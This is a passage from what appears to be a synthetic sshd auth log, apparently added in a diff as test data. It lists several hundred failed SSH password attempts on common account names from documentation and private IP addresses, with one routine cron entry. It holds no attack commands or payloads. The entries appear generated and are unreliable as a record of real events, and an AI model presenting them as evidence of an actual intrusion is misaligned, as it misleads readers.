user git from 10.1.1.200 port 51836 ssh2 +Aug 26 14:05:23 sshd[2808]: Failed password for invalid user deploy from 172.16.254.10 port 49724 ssh2 +Aug 26 14:05:24 sshd[6217]: Failed password for ubuntu from 203.0.113.12 port 46837 ssh2 +Aug 26 14:05:24 sshd[3973]: Failed password for user from 198.51.100.55 port 16011 ssh2 +Aug 26 14:05:24 sshd[6483]: Failed password for invalid user sqladmin from 203.0.113.12 port 52295 ssh2 +Aug 26 14:05:24 sshd[7539]: Failed password for invalid user dev from 10.1.1.200 port 11128 ssh2 +Aug 26 14:05:25 sshd[7131]: Failed password for invalid user ftpuser from 10.1.1.200 port 42664 ssh2 +Aug 26 14:05:25 sshd[4063]: Failed password for ubuntu from 203.0.113.12 port 60611 ssh2 +Aug 26 14:05:25 sshd[5641]: Failed password for invalid user dev from 203.0.113.12 port 20739 ssh2 +Aug 26 14:05:27 sshd[6089]: Failed password for invalid user sqladmin from 198.51.100.55 port 65422 ssh2 +Aug 26 14:05:27 sshd[7619]: Failed password for guest from 172.16.254.10 port 29878 ssh2 +Aug 26 14:05:27 sshd[4265]: Failed password for root from 172.16.254.10 port 60847 ssh2 +Aug 26 14:05:27 sshd[2953]: Failed password for invalid user dev from 10.1.1.200 port 44810 ssh2 +Aug 26 14:05:27 sshd[2681]: Failed password for user from 10.1.1.200 port 54583 ssh2 +Aug 26 14:05:28 sshd[2520]: Failed password for guest from 10.1.1.200 port 60781 ssh2 +Aug 26 14:05:28 sshd[3071]: Failed password for service from 203.0.113.12 port 62173 ssh2 +Aug 26 14:05:28 sshd[7837]: Failed password for invalid user webmaster from 172.16.254.10 port 17425 ssh2 +Aug 26 14:05:28 sshd[4476]: Failed password for invalid user dev from 172.16.254.10 port 17717 ssh2 +Aug 26 14:05:28 sshd[3726]: Failed password for invalid user ftpuser from 198.51.100.55 port 31484 ssh2 +Aug 26 14:05:29 sshd[6152]: Failed password for invalid user ftpuser from 172.16.254.10 port 14664 ssh2 +Aug 26 14:05:29 sshd[3334]: Failed password for service from 198.51.100.55 port 64196 ssh2 +Aug 26 14:05:30 sshd[3279]: Failed password for invalid user git from 203.0.113.12 port 34013 ssh2 +Aug 26 14:05:30 sshd[3372]: Failed password for invalid user ftpuser from 203.0.113.12 port 21070 ssh2 +Aug 26 14:05:30 sshd[7153]: Failed password for invalid user sqladmin from 203.0.113.12 port 48637 ssh2 +Aug 26 14:05:31 sshd[3409]: Failed password for invalid user git from 172.16.254.10 port 22980 ssh2 +Aug 26 14:05:31 sshd[6336]: Failed password for invalid user sqladmin from 198.51.100.55 port 27114 ssh2 +Aug 26 14:05:31 sshd[2870]: Failed password for invalid user sqladmin from 172.16.254.10 port 55966 ssh2 +Aug 26 14:05:32 sshd[4327]: Failed password for invalid user ftpuser from 10.1.1.200 port 32878 ssh2 +Aug 26 14:05:32 sshd[2880]: Failed password for invalid user git from 203.0.113.12 port 29262 ssh2 +Aug 26 14:05:32 sshd[6994]: Failed password for invalid user git from 172.16.254.10 port 29723 ssh2 +Aug 26 14:05:33 sshd[2416]: Failed password for user from 203.0.113.12 port 18885 ssh2 +Aug 26 14:05:33 sshd[2058]: Failed password for guest from 203.0.113.12 port 63762 ssh2 +Aug 26 14:05:33 sshd[3291]: Failed password for user from 172.16.254.10 port 26220 ssh2 +Aug 26 14:05:33 sshd[3366]: Failed password for guest from 10.1.1.200 port 15889 ssh2 +Aug 26 14:05:33 sshd[5721]: Failed password for test from 198.51.100.55 port 64733 ssh2 +Aug 26 14:05:34 sshd[4142]: Failed password for invalid user git from 198.51.100.55 port 54553 ssh2 +Aug 26 14:05:34 sshd[7810]: Failed password for invalid user webmaster from 198.51.100.55 port 31585 ssh2 +Aug 26 14:05:34 sshd[7414]: Failed password for invalid user dev from 203.0.113.12 port 11924 ssh2 +Aug 26 14:05:34 sshd[5456]: Failed password for invalid user ftpuser from 172.16.254.10 port 46968 ssh2 +Aug 26 14:05:35 sshd[4643]: Failed password for user from 198.51.100.55 port 43467 ssh2 +Aug 26 14:05:36 sshd[4087]: Failed password for admin from 198.51.100.55 port 64326 ssh2 +Aug 26 14:05:36 sshd[4534]: Failed password for invalid user sqladmin from 203.0.113.12 port 44868 ssh2 +Aug 26 14:05:36 sshd[6953]: Failed password for root from 198.51.100.55 port 51647 ssh2 +Aug 26 14:05:36 sshd[6493]: Failed password for user from 198.51.100.55 port 30789 ssh2 +Aug 26 14:05:37 sshd[4272]: Failed password for invalid user git from 198.51.100.55 port 60147 ssh2 +Aug 26 14:05:37 sshd[5845]: Failed password for invalid user webmaster from 198.51.100.55 port 18780 ssh2 +Aug 26 14:05:37 sshd[3025]: Failed password for invalid user dev from 203.0.113.12 port 11767 ssh2 +Aug 26 14:05:38 sshd[4408]: Failed password for invalid user git from 198.51.100.55 port 33499 ssh2 +Aug 26 14:05:38 sshd[6235]: Failed password for invalid user webmaster from 203.0.113.12 port 30246 ssh2 +Aug 26 14:05:38 sshd[7257]: Failed password for guest from 203.0.113.12 port 65399 ssh2 +Aug 26 14:05:38 sshd[4395]: Failed password for invalid user dev from 203.0.113.12 port 43283 ssh2 +Aug 26 14:05:38 sshd[2162]: Failed password for invalid user webmaster from 203.0.113.12 port 46043 ssh2 +Aug 26 14:05:38 sshd[4185]: Failed password for guest from 172.16.254.10 port 60993 ssh2 +Aug 26 14:05:39 sshd[5219]: Failed password for invalid user webmaster from 198.51.100.55 port 41574 ssh2 +Aug 26 14:05:39 sshd[5015]: Failed password for invalid user git from 172.16.254.10 port 17406 ssh2 +Aug 26 14:05:39 sshd[4441]: Failed password for invalid user webmaster from 172.16.254.10 port 42808 ssh2 +Aug 26 14:05:39 sshd[7808]: Failed password for root from 10.1.1.200 port 52133 ssh2 +Aug 26 14:05:40 sshd[3536]: Failed password for invalid user sqladmin from 172.16.254.10 port 11934 ssh2 +Aug 26 14:05:40 sshd[7337]: Failed password for invalid user ftpuser from 10.1.1.200 port 53613 ssh2 +Aug 26 14:05:41 sshd[5380]: Failed password for user from 198.51.100.55 port 47572 ssh2 +Aug 26 14:05:41 sshd[3326]: Failed password for backup from 203.0.113.12 port 43485 ssh2 +Aug 26 14:05:41 sshd[5116]: Failed password for invalid user ftpuser from 203.0.113.12 port 59489 ssh2 +Aug 26 14:05:41 sshd[7063]: Failed password for service from 172.16.254.10 port 35297 ssh2 +Aug 26 14:05:41 sshd[5573]: Failed password for invalid user git from 10.1.1.200 port 59228 ssh2 +Aug 26 14:05:41 sshd[5682]: Failed password for user from 203.0.113.12 port 32932 ssh2 +Aug 26 14:05:42 sshd[7937]: Failed password for ubuntu from 198.51.100.55 port 13129 ssh2 +Aug 26 14:05:42 sshd[6792]: Failed password for invalid user webmaster from 198.51.100.55 port 50502 ssh2 +Aug 26 14:05:43 sshd[7586]: Failed password for invalid user sqladmin from 172.16.254.10 port 11902 ssh2 +Aug 26 14:05:43 sshd[4426]: Failed password for invalid user ftpuser from 203.0.113.12 port 50360 ssh2 +Aug 26 14:05:43 sshd[4625]: Failed password for invalid user git from 198.51.100.55 port 60827 ssh2 +Aug 26 14:05:44 sshd[5163]: Failed password for invalid user dev from 198.51.100.55 port 46805 ssh2 +Aug 26 14:05:44 sshd[2056]: Failed password for backup from 172.16.254.10 port 14683 ssh2 +Aug 26 14:05:45 sshd[7454]: Failed password for invalid user git from 203.0.113.12 port 23523 ssh2 +Aug 26 14:05:45 sshd[3447]: Failed password for invalid user webmaster from 198.51.100.55 port 22337 ssh2 +Aug 26 14:05:45 sshd[4567]: Failed password for invalid user webmaster from 198.51.100.55 port 27443 ssh2 +Aug 26 14:05:45 sshd[3174]: Failed password for invalid user ftpuser from 198.51.100.55 port 51350 ssh2 +Aug 26 14:05:46 sshd[7230]: Failed password for invalid user dev from 198.51.100.55 port 34266 ssh2 +Aug 26 14:05:46 sshd[6851]: Failed password for invalid user dev from 172.16.254.10 port 31748 ssh2 +Aug 26 14:05:46 sshd[7056]: Failed password for guest from 10.1.1.200 port 39967 ssh2 +Aug 26 14:05:46 sshd[2782]: Failed password for invalid user git from 203.0.113.12 port 47810 ssh2 +Aug 26 14:05:46 sshd[7017]: Failed password for invalid user dev from 198.51.100.55 port 56573 ssh2 +Aug 26 14:05:46 sshd[7083]: Failed password for invalid user git from 10.1.1.200 port 62914 ssh2 +Aug 26 14:05:47 sshd[4499]: Failed password for invalid user sqladmin from 198.51.100.55 port 36136 ssh2 +Aug 26 14:05:47 sshd[4705]: Failed password for invalid user webmaster from 10.1.1.200 port 39608 ssh2 +Aug 26 14:05:47 sshd[6764]: Failed password for invalid user sqladmin from 10.1.1.200 port 15322 ssh2 +Aug 26 14:05:47 sshd[2339]: Failed password for ec2-user from 10.1.1.200 port 11862 ssh2 +Aug 26 14:05:47 sshd[5244]: Failed password for invalid user git from 10.1.1.200 port 26743 ssh2 +Aug 26 14:05:47 sshd[6324]: Failed password for invalid user deploy from 198.51.100.55 port 42534 ssh2 +Aug 26 14:05:47 sshd[7763]: Failed password for invalid user webmaster from 198.51.100.55 port 47691 ssh2 +Aug 26 14:05:47 sshd[7367]: Failed password for invalid user git from 172.16.254.10 port 44287 ssh2 +Aug 26 14:05:47 sshd[3560]: Failed password for service from 203.0.113.12 port 35443 ssh2 +Aug 26 14:05:47 sshd[2079]: Failed password for invalid user sqladmin from 172.16.254.10 port 44433 ssh2 +Aug 26 14:05:48 sshd[3441]: Failed password for invalid user deploy from 203.0.113.12 port 53414 ssh2 +Aug 26 14:05:48 sshd[2360]: Failed password for user from 203.0.113.12 port 39632 ssh2 +Aug 26 14:05:48 sshd[7961]: Failed password for root from 172.16.254.10 port 16202 ssh2 +Aug 26 14:05:48 sshd[7811]: Failed password for invalid user webmaster from 10.1.1.200 port 28828 ssh2 +Aug 26 14:05:49 sshd[5182]: Failed password for invalid user git from 172.16.254.10 port 16505 ssh2 +Aug 26 14:05:49 sshd[5167]: Failed password for backup from 198.51.100.55 port 12097 ssh2 +Aug 26 14:05:49 sshd[2624]: Failed password for ubuntu from 10.1.1.200 port 31221 ssh2 +Aug 26 14:05:49 sshd[3306]: Failed password for invalid user deploy from 198.51.100.55 port 48152 ssh2 +Aug 26 14:05:49 sshd[7731]: Failed password for admin from 10.1.1.200 port 64495 ssh2 +Aug 26 14:05:50 sshd[2867]: Failed password for invalid user dev from 198.51.100.55 port 22057 ssh2 +Aug 26 14:05:50 sshd[4951]: Failed password for invalid user deploy from 203.0.113.12 port 59536 ssh2 +Aug 26 14:05:50 sshd[6473]: Failed password for invalid user sqladmin from 172.16.254.10 port 20405 ssh2 +Aug 26 14:05:50 sshd[2434]: Failed password for invalid user git from 172.16.254.10 port 34642 ssh2 +Aug 26 14:05:50 sshd[6003]: Failed password for invalid user ftpuser from 203.0.113.12 port 41134 ssh2 +Aug 26 14:05:50 sshd[2859]: Failed password for invalid user git from 203.0.113.12 port 57030 ssh2 +Aug 26 14:05:50 sshd[3067]: Failed password for ubuntu from 172.16.254.10 port 54442 ssh2 +Aug 26 14:05:51 sshd[7247]: Failed password for invalid user dev from 198.51.100.55 port 37706 ssh2 +Aug 26 14:05:51 sshd[6425]: Failed password for invalid user webmaster from 198.51.100.55 port 41461 ssh2 +Aug 26 14:05:51 sshd[6228]: Failed password for invalid user git from 198.51.100.55 port 25086 ssh2 +Aug 26 14:05:52 sshd[5964]: Failed password for invalid user git from 10.1.1.200 port 18338 ssh2 +Aug 26 14:05:52 sshd[7329]: Failed password for invalid user webmaster from 10.1.1.200 port 40728 ssh2 +Aug 26 14:05:52 sshd[2212]: Failed password for invalid user git from 172.16.254.10 port 37810 ssh2 +Aug 26 14:05:52 sshd[6775]: Failed password for guest from 10.1.1.200 port 65454 ssh2 +Aug 26 14:05:52 sshd[4802]: Failed password for invalid user git from 172.16.254.10 port 24576 ssh2 +Aug 26 14:05:53 sshd[7043]: Failed password for invalid user sqladmin from 203.0.113.12 port 61433 ssh2 +Aug 26 14:05:53 sshd[3993]: Failed password for invalid user dev from 198.51.100.55 port 57505 ssh2 +Aug 26 14:05:53 sshd[3374]: Failed password for backup from 203.0.113.12 port 47123 ssh2 +Aug 26 14:05:53 sshd[5661]: Failed password for invalid user sqladmin from 198.51.100.55 port 40099 ssh2 +Aug 26 14:05:53 sshd[7610]: Failed password for service from 203.0.113.12 port 18640 ssh2 +Aug 26 14:05:54 sshd[2392]: Failed password for guest from 10.1.1.200 port 56545 ssh2 +Aug 26 14:05:54 sshd[3135]: Failed password for invalid user deploy from 198.51.100.55 port 63563 ssh2 +Aug 26 14:05:54 sshd[3532]: Failed password for invalid user sqladmin from 10.1.1.200 port 64514 ssh2 +Aug 26 14:05:54 sshd[6817]: Failed password for service from 10.1.1.200 port 43048 ssh2 +Aug 26 14:05:54 sshd[4860]: Failed password for invalid user sqladmin from 172.16.254.10 port 26071 ssh2 +Aug 26 14:05:54 sshd[3109]: Failed password for invalid user sqladmin from 198.51.100.55 port 29273 ssh2 +Aug 26 14:05:54 sshd[5749]: Failed password for invalid user webmaster from 172.16.254.10 port 22282 ssh2 +Aug 26 14:05:55 sshd[7323]: Failed password for invalid user deploy from 203.0.113.12 port 26427 ssh2 +Aug 26 14:05:55 sshd[5865]: Failed password for guest from 10.1.1.200 port 36580 ssh2 +Aug 26 14:05:55 sshd[4726]: Failed password for invalid user deploy from 203.0.113.12 port 28771 ssh2 +Aug 26 14:05:56 sshd[6205]: Failed password for invalid user dev from 172.16.254.10 port 62023 ssh2 +Aug 26 14:05:56 sshd[5391]: Failed password for invalid user sqladmin from 198.51.100.55 port 37119 ssh2 +Aug 26 14:05:56 sshd[2367]: Failed password for invalid user webmaster from 198.51.100.55 port 33146 ssh2 +Aug 26 14:05:56 sshd[4443]: Failed password for invalid user sqladmin from 203.0.113.12 port 64224 ssh2 +Aug 26 14:05:56 sshd[7858]: Failed password for admin from 198.51.100.55 port 52273 ssh2 +Aug 26 14:05:56 sshd[3088]: Failed password for invalid user webmaster from 172.16.254.10 port 50732 ssh2 +Aug 26 14:05:57 sshd[5873]: Failed password for root from 10.1.1.200 port 21674 ssh2 +Aug 26 14:05:57 sshd[5347]: Failed password for invalid user git from 203.0.113.12 port 60013 ssh2 +Aug 26 14:05:57 sshd[3008]: Failed password for invalid user webmaster from 10.1.1.200 port 25299 ssh2 +Aug 26 14:05:57 sshd[4105]: Failed password for service from 172.16.254.10 port 61133 ssh2 +Aug 26 14:05:57 sshd[4601]: Failed password for invalid user sqladmin from 10.1.1.200 port 58299 ssh2 +Aug 26 14:05:57 sshd[2769]: Failed password for invalid user git from 198.51.100.55 port 51026 ssh2 +Aug 26 14:05:57 sshd[4513]: Failed password for ec2-user from 172.16.254.10 port 49015 ssh2 +Aug 26 14:05:58 sshd[3132]: Failed password for guest from 198.51.100.55 port 17570 ssh2 +Aug 26 14:05:58 sshd[7586]: Failed password for invalid user ftpuser from 10.1.1.200 port 48491 ssh2 +Aug 26 14:05:58 sshd[3729]: Failed password for backup from 198.51.100.55 port 19545 ssh2 +Aug 26 14:05:58 sshd[5923]: Failed password for invalid user webmaster from 198.51.100.55 port 22563 ssh2 +Aug 26 14:05:58 sshd[3506]: Failed password for ec2-user from 10.1.1.200 port 38773 ssh2 +Aug 26 14:05:58 sshd[3663]: Failed password for invalid user deploy from 10.1.1.200 port 61622 ssh2 +Aug 26 14:05:59 sshd[3343]: Failed password for ubuntu from 172.16.254.10 port 32063 ssh2 +Aug 26 14:05:59 sshd[6101]: Failed password for invalid user ftpuser from 172.16.254.10 port 60296 ssh2 +Aug 26 14:05:59 sshd[5991]: Failed password for invalid user ftpuser from 10.1.1.200 port 28593 ssh2 +Aug 26 14:05:59 sshd[2257]: Failed password for invalid user sqladmin from 172.16.254.10 port 23973 ssh2 +Aug 26 14:06:00 sshd[2907]: Failed password for ec2-user from 10.1.1.200 port 49051 ssh2 +Aug 26 14:06:00 sshd[3757]: Failed password for invalid user deploy from 172.16.254.10 port 57514 ssh2 +Aug 26 14:06:01 sshd[4748]: Failed password for invalid user git from 172.16.254.10 port 33824 ssh2 +Aug 26 14:06:01 sshd[4419]: Failed password for invalid user sqladmin from 203.0.113.12 port 27153 ssh2 +Aug 26 14:06:01 sshd[4616]: Failed password for invalid user sqladmin from 198.51.100.55 port 62550 ssh2 +Aug 26 14:06:01 sshd[3242]: Failed password for invalid user deploy from 198.51.100.55 port 60953 ssh2 +Aug 26 14:06:01 sshd[3409]: Failed password for backup from 203.0.113.12 port 43451 ssh2 +Aug 26 14:06:01 sshd[4717]: Failed password for invalid user sqladmin from 10.1.1.200 port 61823 ssh2 +Aug 26 14:06:01 sshd[4910]: Failed password for invalid user git from 10.1.1.200 port 22541 ssh2 +Aug 26 14:06:01 sshd[4792]: Failed password for user from 203.0.113.12 port 37045 ssh2 +Aug 26 14:06:01 sshd[7577]: Failed password for invalid user git from 172.16.254.10 port 44398 ssh2 +Aug 26 14:06:02 sshd[5822]: Failed password for ubuntu from 172.16.254.10 port 17137 ssh2 +Aug 26 14:06:02 sshd[6642]: Failed password for invalid user git from 198.51.100.55 port 30045 ssh2 +Aug 26 14:06:02 sshd[2572]: Failed password for invalid user sqladmin from 198.51.100.55 port 25127 ssh2 +Aug 26 14:06:03 sshd[5175]: Failed password for invalid user deploy from 10.1.1.200 port 63622 ssh2 +Aug 26 14:06:03 sshd[3218]: Failed password for ubuntu from 203.0.113.12 port 21163 ssh2 +Aug 26 14:06:03 sshd[2646]: Failed password for invalid user git from 203.0.113.12 port 50531 ssh2 +Aug 26 14:06:03 sshd[7155]: Failed password for user from 203.0.113.12 port 47157 ssh2 +Aug 26 14:06:03 sshd[6935]: Failed password for invalid user ftpuser from 203.0.113.12 port 10950 ssh2 +Aug 26 14:06:03 sshd[6891]: Failed password for backup from 10.1.1.200 port 31097 ssh2 +Aug 26 14:06:03 sshd[6873]: Failed password for invalid user ftpuser from 172.16.254.10 port 60173 ssh2 +Aug 26 14:06:03 sshd[3514]: Failed password for invalid user webmaster from 10.1.1.200 port 62340 ssh2 +Aug 26 14:06:03 sshd[4793]: Failed password for ec2-user from 198.51.100.55 port 55453 ssh2 +Aug 26 14:06:03 sshd[3427]: Failed password for invalid user ftpuser from 203.0.113.12 port 25249 ssh2 +Aug 26 14:06:04 sshd[4181]: Failed password for invalid user sqladmin from 203.0.113.12 port 19014 ssh2 +Aug 26 14:06:04 sshd[2710]: Failed password for invalid user webmaster from 172.16.254.10 port 14418 ssh2 +Aug 26 14:06:04 sshd[2494]: Failed password for invalid user deploy from 172.16.254.10 port 18636 ssh2 +Aug 26 14:06:04 sshd[4867]: Failed password for invalid user git from 172.16.254.10 port 45133 ssh2 +Aug 26 14:06:05 sshd[5358]: Failed password for test from 198.51.100.55 port 11615 ssh2 +Aug 26 14:06:05 sshd[2933]: Failed password for invalid user git from 198.51.100.55 port 44964 ssh2 +Aug 26 14:06:05 sshd[5812]: Failed password for invalid user webmaster from 203.0.113.12 port 25254 ssh2 +Aug 26 14:06:06 sshd[7209]: Failed password for invalid user ftpuser from 10.1.1.200 port 44958 ssh2 +Aug 26 14:06:06 sshd[3660]: Failed password for user from 203.0.113.12 port 20198 ssh2 +Aug 26 14:06:06 sshd[4730]: Failed password for invalid user git from 10.1.1.200 port 47686 ssh2 +Aug 26 14:06:06 sshd[2210]: Failed password for invalid user deploy from 198.51.100.55 port 14682 ssh2 +Aug 26 14:06:07 sshd[3527]: Failed password for guest from 203.0.113.12 port 30290 ssh2 +Aug 26 14:06:07 sshd[4532]: Failed password for invalid user sqladmin from 10.1.1.200 port 63298 ssh2 +Aug 26 14:06:08 sshd[5977]: Failed password for invalid user dev from 172.16.254.10 port 31052 ssh2 +Aug 26 14:06:08 sshd[4562]: Failed password for root from 203.0.113.12 port 17747 ssh2 +Aug 26 14:06:08 sshd[2676]: Failed password for invalid user ftpuser from 203.0.113.12 port 16074 ssh2 +Aug 26 14:06:08 sshd[6070]: Failed password for user from 203.0.113.12 port 13504 ssh2 +Aug 26 14:06:08 sshd[3987]: Failed password for invalid user webmaster from 10.1.1.200 port 43129 ssh2 +Aug 26 14:06:08 sshd[6757]: Failed password for invalid user sqladmin from 203.0.113.12 port 44967 ssh2 +Aug 26 14:06:09 sshd[3384]: Failed password for invalid user sqladmin from 203.0.113.12 port 55477 ssh2 +Aug 26 14:06:09 sshd[6156]: Failed password for invalid user sqladmin from 203.0.113.12 port 28192 ssh2 +Aug 26 14:06:09 sshd[4452]: Failed password for invalid user deploy from 10.1.1.200 port 51670 ssh2 +Aug 26 14:06:09 sshd[7638]: Failed password for invalid user ftpuser from 198.51.100.55 port 64881 ssh2 +Aug 26 14:06:09 sshd[5877]: Failed password for invalid user dev from 172.16.254.10 port 41832 ssh2 +Aug 26 14:06:10 sshd[6214]: Failed password for ubuntu from 198.51.100.55 port 40279 ssh2 +Aug 26 14:06:11 sshd[5690]: Failed password for invalid user webmaster from 10.1.1.200 port 40075 ssh2 +Aug 26 14:06:11 sshd[2627]: Failed password for invalid user git from 198.51.100.55 port 51896 ssh2 +Aug 26 14:06:11 sshd[3103]: Failed password for service from 203.0.113.12 port 36695 ssh2 +Aug 26 14:06:11 sshd[5812]: Failed password for invalid user webmaster from 172.16.254.10 port 53651 ssh2 +Aug 26 14:06:11 sshd[5149]: Failed password for invalid user ftpuser from 172.16.254.10 port 30009 ssh2 +Aug 26 14:06:11 sshd[7836]: Failed password for invalid user git from 172.16.254.10 port 65191 ssh2 +Aug 26 14:06:11 sshd[5509]: Failed password for invalid user webmaster from 203.0.113.12 port 45018 ssh2 +Aug 26 14:06:12 sshd[4980]: Failed password for invalid user deploy from 198.51.100.55 port 31886 ssh2 +Aug 26 14:06:12 sshd[2346]: Failed password for invalid user deploy from 10.1.1.200 port 53337 ssh2 +Aug 26 14:06:13 sshd[5101]: Failed password for invalid user git from 172.16.254.10 port 35252 ssh2 +Aug 26 14:06:13 sshd[2847]: Failed password for invalid user webmaster from 203.0.113.12 port 44380 ssh2 +Aug 26 14:06:13 sshd[5026]: Failed password for invalid user git from 10.1.1.200 port 15875 ssh2 +Aug 26 14:06:13 sshd[7552]: Failed password for invalid user sqladmin from 203.0.113.12 port 25020 ssh2 +Aug 26 14:06:13 sshd[6179]: Failed password for invalid user deploy from 203.0.113.12 port 26423 ssh2 +Aug 26 14:06:13 sshd[6833]: Failed password for invalid user dev from 172.16.254.10 port 33909 ssh2 +Aug 26 14:06:14 sshd[7580]: Failed password for invalid user dev from 10.1.1.200 port 15536 ssh2 +Aug 26 14:06:14 sshd[5935]: Failed password for invalid user deploy from 203.0.113.12 port 40245 ssh2 +Aug 26 14:06:14 sshd[4927]: Failed password for invalid user webmaster from 10.1.1.200 port 19002 ssh2 +Aug 26 14:06:14 sshd[2099]: Failed password for invalid user deploy from 10.1.1.200 port 61635 ssh2 +Aug 26 14:06:14 sshd[7700]: Failed password for ec2-user from 172.16.254.10 port 32767 ssh2 +Aug 26 14:06:14 sshd[7275]: Failed password for ubuntu from 198.51.100.55 port 38856 ssh2 +Aug 26 14:06:14 sshd[7765]: Failed password for invalid user deploy from 198.51.100.55 port 35638 ssh2 +Aug 26 14:06:14 sshd[6487]: Failed password for invalid user sqladmin from 172.16.254.10 port 10365 ssh2 +Aug 26 14:06:14 sshd[7833]: Failed password for admin from 172.16.254.10 port 62465 ssh2 +Aug 26 14:06:15 systemd[1]: Starting daily clean up activities... +Aug 26 14:06:15 CRON[9348]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:06:15 sshd[6103]: Failed password for invalid user webmaster from 198.51.100.55 port 55149 ssh2 +Aug 26 14:06:15 sshd[4117]: Failed password for invalid user sqladmin from 172.16.254.10 port 36430 ssh2 +Aug 26 14:06:15 sshd[4982]: Failed password for ubuntu from 10.1.1.200 port 25124 ssh2 +Aug 26 14:06:16 sshd[5594]: Failed password for invalid user ftpuser from 10.1.1.200 port 56717 ssh2 +Aug 26 14:06:16 sshd[6048]: Failed password for invalid user dev from 198.51.100.55 port 46013 ssh2 +Aug 26 14:06:16 sshd[3755]: Failed password for invalid user ftpuser from 198.51.100.55 port 54930 ssh2 +Aug 26 14:06:16 sshd[2957]: Failed password for invalid user ftpuser from 203.0.113.12 port 57949 ssh2 +Aug 26 14:06:16 sshd[3003]: Failed password for admin from 198.51.100.55 port 35576 ssh2 +Aug 26 14:06:16 sshd[3755]: Failed password for invalid user dev from 198.51.100.55 port 49219 ssh2 +Aug 26 14:06:16 sshd[2099]: Failed password for invalid user sqladmin from 203.0.113.12 port 42361 ssh2 +Aug 26 14:06:16 sshd[3739]: Failed password for invalid user webmaster from 10.1.1.200 port 17813 ssh2 +Aug 26 14:06:17 sshd[6744]: Failed password for service from 198.51.100.55 port 54022 ssh2 +Aug 26 14:06:17 sshd[6155]: Failed password for ec2-user from 203.0.113.12 port 55803 ssh2 +Aug 26 14:06:17 sshd[3966]: Failed password for invalid user ftpuser from 10.1.1.200 port 46877 ssh2 +Aug 26 14:06:17 sshd[6603]: Failed password for admin from 203.0.113.12 port 51431 ssh2 +Aug 26 14:06:18 sshd[6675]: Failed password for invalid user git from 10.1.1.200 port 55470 ssh2 +Aug 26 14:06:18 sshd[2887]: Failed password for invalid user git from 10.1.1.200 port 59621 ssh2 +Aug 26 14:06:18 sshd[4005]: Failed password for invalid user deploy from 203.0.113.12 port 20273 ssh2 +Aug 26 14:06:18 sshd[5850]: Failed password for invalid user webmaster from 203.0.113.12 port 36935 ssh2 +Aug 26 14:06:19 sshd[7715]: Failed password for invalid user webmaster from 203.0.113.12 port 34391 ssh2 +Aug 26 14:06:19 sshd[5753]: Failed password for invalid user deploy from 203.0.113.12 port 54533 ssh2 +Aug 26 14:06:19 sshd[3356]: Failed password for invalid user sqladmin from 172.16.254.10 port 60174 ssh2 +Aug 26 14:06:19 sshd[5581]: Failed password for invalid user ftpuser from 172.16.254.10 port 57768 ssh2 +Aug 26 14:06:19 sshd[3488]: Failed password for invalid user webmaster from 198.51.100.55 port 21176 ssh2 +Aug 26 14:06:20 sshd[4092]: Failed password for invalid user ftpuser from 172.16.254.10 port 61218 ssh2 +Aug 26 14:06:20 sshd[2882]: Failed password for invalid user dev from 172.16.254.10 port 18637 ssh2 +Aug 26 14:06:20 sshd[5869]: Failed password for invalid user git from 10.1.1.200 port 54444 ssh2 +Aug 26 14:06:21 sshd[7222]: Failed password for invalid user sqladmin from 203.0.113.12 port 60447 ssh2 +Aug 26 14:06:21 sshd[5273]: Failed password for invalid user webmaster from 203.0.113.12 port 63683 ssh2 +Aug 26 14:06:21 sshd[6738]: Failed password for invalid user ftpuser from 10.1.1.200 port 57133 ssh2 +Aug 26 14:06:21 sshd[5418]: Failed password for invalid user webmaster from 172.16.254.10 port 50072 ssh2 +Aug 26 14:06:21 sshd[5605]: Failed password for invalid user deploy from 10.1.1.200 port 19174 ssh2 +Aug 26 14:06:21 sshd[3506]: Failed password for invalid user webmaster from 10.1.1.200 port 41648 ssh2 +Aug 26 14:06:22 sshd[4316]: Failed password for invalid user dev from 172.16.254.10 port 28187 ssh2 +Aug 26 14:06:22 sshd[2843]: Failed password for invalid user dev from 10.1.1.200 port 63821 ssh2 +Aug 26 14:06:23 sshd[5049]: Failed password for invalid user dev from 172.16.254.10 port 29313 ssh2 +Aug 26 14:06:23 sshd[6544]: Failed password for invalid user ftpuser from 198.51.100.55 port 32969 ssh2 +Aug 26 14:06:23 sshd[6732]: Failed password for ubuntu from 172.16.254.10 port 29744 ssh2 +Aug 26 14:06:23 sshd[7864]: Failed password for invalid user ftpuser from 203.0.113.12 port 50854 ssh2 +Aug 26 14:06:23 sshd[2977]: Failed password for invalid user ftpuser from 172.16.254.10 port 39213 ssh2 +Aug 26 14:06:23 sshd[3146]: Failed password for invalid user deploy from 10.1.1.200 port 38396 ssh2 +Aug 26 14:06:24 sshd[6414]: Failed password for ec2-user from 203.0.113.12 port 10238 ssh2 +Aug 26 14:06:24 sshd[6544]: Failed password for test from 172.16.254.10 port 58488 ssh2 +Aug 26 14:06:24 sshd[4895]: Failed password for invalid user git from 10.1.1.200 port 56279 ssh2 +Aug 26 14:06:24 sshd[5007]: Failed password for invalid user git from 172.16.254.10 port 36807 ssh2 +Aug 26 14:06:24 sshd[6391]: Failed password for service from 172.16.254.10 port 65029 ssh2 +Aug 26 14:06:24 sshd[7537]: Failed password for invalid user deploy from 10.1.1.200 port 37286 ssh2 +Aug 26 14:06:24 sshd[7694]: Failed password for invalid user sqladmin from 203.0.113.12 port 34847 ssh2 +Aug 26 14:06:24 sshd[5407]: Failed password for invalid user ftpuser from 172.16.254.10 port 48118 ssh2 +Aug 26 14:06:24 sshd[6470]: Failed password for invalid user sqladmin from 172.16.254.10 port 21554 ssh2 +Aug 26 14:06:25 sshd[6462]: Failed password for invalid user deploy from 10.1.1.200 port 62262 ssh2 +Aug 26 14:06:26 sshd[6006]: Failed password for invalid user git from 198.51.100.55 port 17346 ssh2 +Aug 26 14:06:26 sshd[5690]: Failed password for invalid user ftpuser from 198.51.100.55 port 21132 ssh2 +Aug 26 14:06:26 sshd[3975]: Failed password for invalid user sqladmin from 10.1.1.200 port 62786 ssh2 +Aug 26 14:06:27 sshd[7535]: Failed password for invalid user webmaster from 198.51.100.55 port 25218 ssh2 +Aug 26 14:06:27 sshd[5517]: Failed password for guest from 172.16.254.10 port 48516 ssh2 +Aug 26 14:06:27 sshd[7257]: Failed password for invalid user webmaster from 10.1.1.200 port 17945 ssh2 +Aug 26 14:06:27 sshd[7334]: Failed password for ec2-user from 10.1.1.200 port 27378 ssh2 +Aug 26 14:06:27 sshd[5777]: Failed password for invalid user ftpuser from 172.16.254.10 port 40704 ssh2 +Aug 26 14:06:27 sshd[3708]: Failed password for invalid user deploy from 203.0.113.12 port 20258 ssh2 +Aug 26 14:06:28 sshd[5066]: Failed password for invalid user 